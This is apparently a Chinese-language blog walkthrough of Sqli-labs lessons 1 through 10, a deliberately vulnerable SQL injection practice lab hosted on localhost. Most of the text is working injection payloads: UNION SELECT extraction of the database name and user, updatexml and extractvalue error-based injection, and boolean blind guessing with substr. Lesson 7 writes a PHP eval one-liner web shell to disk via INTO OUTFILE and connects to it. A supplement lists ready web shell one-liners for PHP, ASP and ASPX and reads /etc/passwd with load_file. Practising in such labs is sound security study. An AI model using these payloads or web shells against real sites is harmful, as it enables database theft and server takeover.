Sqli-labs 是一个开源且全面的 SQL 注入练习靶场,手工注入必备的练习环境

less-1


源码分析

# 单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 支持联合、报错、布尔盲注、延时盲注
if true:
    输出查询内容
else:
    print_r(mysql_error());

id='$id'
输入:

http://localhost/sqli/Less-1/?id=1
http://localhost/sqli/Less-1/?id=1'  #报错
http://localhost/sqli/Less-1/?id=1' --+  #回显正常

判断有多少列字段

http://localhost/sqli/Less-1/?id=1' order by 4--+  #报错
http://localhost/sqli/Less-1/?id=1' order by 3--+  #回显正常

判断字段
判断有三列数据

使用union操作符,union操作符使用的前提就是必须字段数要跟前面的字段数相同
确定回显位置

http://localhost/sqli/Less-1/?id=-1' union select 1,2,3--+

union查询
查看当前库和当前用户

http://localhost/sqli/Less-1/?id=-1' union select 1,database(),user()--+

数据库和用户名

less-2


输入

http://localhost/sqli/Less-2/?id=1  #回显正常
http://localhost/sqli/Less-2/?id=1'  #报错
http://localhost/sqli/Less-2/?id=1 --+  #回显正常

id=$id
闭合与less-1不同,利用方式与less-1相同
union查询

http://localhost/sqli/Less-1/?id=-1 union select 1,2,3--+

uinon查询

less-3


输入

http://localhost/sqli/Less-2/?id=1  #回显正常
http://localhost/sqli/Less-2/?id=1'  #报错
http://localhost/sqli/Less-2/?id=1') --+  #回显正常

id=('$id')
闭合与less-1不同,利用方式与less-1相同
union查询

http://localhost/sqli/Less-1/?id=-1') union select 1,2,3--+

union查询

less-4


输入

http://localhost/sqli/Less-2/?id=1  #回显正常
http://localhost/sqli/Less-2/?id=1'  #报错
http://localhost/sqli/Less-2/?id=1") --+  #回显正常

id=("$id")
闭合与less-1不同,利用方式与less-1相同
union查询

http://localhost/sqli/Less-1/?id=-1") union select 1,2,3--+

uinon查询

less-5


第五个有点不一样了,当我们输入id=1时,返回了 You are in………

源码分析

# 直接单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

# 支持报错、布尔盲注、延时盲注
if true:
    输出 You are in...........
else:
    print_r(mysql_error());

You are in .......
因为不输出查询的结果,这就导致不可以使用联合查询的注入方式,但是并不影响正常使用报错、布尔盲注和延时盲注,除了不能联合查询注入,其他和 Less-1 利用方式一致.。
报错注入

http://localhost/sqli/Less-5/?id=1' and 
updatexml(1,concat(0x7e,version(),0x7e),1)--+CONCAT(str1,str2,…)  

报错注入
查询用户

##updatexml函数
http://localhost/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
##extractvalue函数
http://localhost/sqli/Less-5/?id=1' and extractvalue(1,concat(0x5e,user()))--+

查询用户
其他方法,下次会补充。

less-6


和 Less-5 利用方式一致,只是闭合方式不一样,把引号换成双引号。
less-6

less-7


//print_r(mysql_error())

与less-5不同less-7关闭了报错回显,所以无法使用报错注入.
输入

http://localhost/sqli/Less-7/?id=1  #回显正常
http://localhost/sqli/Less-7/?id=1'  #回显错误
http://localhost/sqli/Less-7/?id=1'))--+  #回显正常

id=(('$id'))
通过提示use outfile,考虑写入一句话木马
通过less-2获取数据库路径

http://localhost/sqli/Less-2/?id=-1 union select 1,@@basedir,@@datadir
##basedir()指定了安装MYSQL的安装路径
##datadir()指定了安装MYSQL的数据文件路径

获取路径
接着写入一句话木马

http://localhost/sqli/Less-7/?id=-1')) union select 1,2,'<?php eval(@$_POST["admin"]);?>' into outfile"D:\\phpstudy_pro\\WWW\\sqli\\Less-7\\hack.php"--+

一句话木马
虽然显示报错,我们使用蚁剑尝试连接.
连接成功
less-7同样支持盲注
补充:

load_file()函数读文件操作
例:select load_file('/etc/passwd')
into outfile写文件操作
例:select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'

一句话木马:

php的一句话木马: <?php @eval($_POST['password']);?> 
asp的一句话是: <%eval request ("password")%> 
aspx的一句话是: <%@ Page Language="password"%> <%eval(Request.Item["password"],"unsafe");%>

less-8


输入

http://localhost/sqli/Less-8/?id=1  #回显正常
http://localhost/sqli/Less-8/?id=1'  #无回显
http://localhost/sqli/Less-8/?id=1'--+  #回显正常

id='$id'
盲注测试

http://localhost/sqli/Less-8/?id=1' and substr(database(),1,1)='s' --+

首字母为s
这个payload作用是查询当前数据库名的第一个字母是不是s,如果是则页面返回正常,否则返回异常,以此类推,可以通过这个方式去遍历得到数据库中的所有数据
使用bp遍历
bp遍历
第一变量
第二变量
对结果进行筛选和排序可以得到库名security

less-9


和 Less-8 注入方式一致
less-9

less-10


和 Less-8 注入方式一致,只是拼接方式不一样
id="$id"

最后修改:2021 年 07 月 30 日 12 : 29 AM
如果觉得我的文章对你有用,请随意赞赏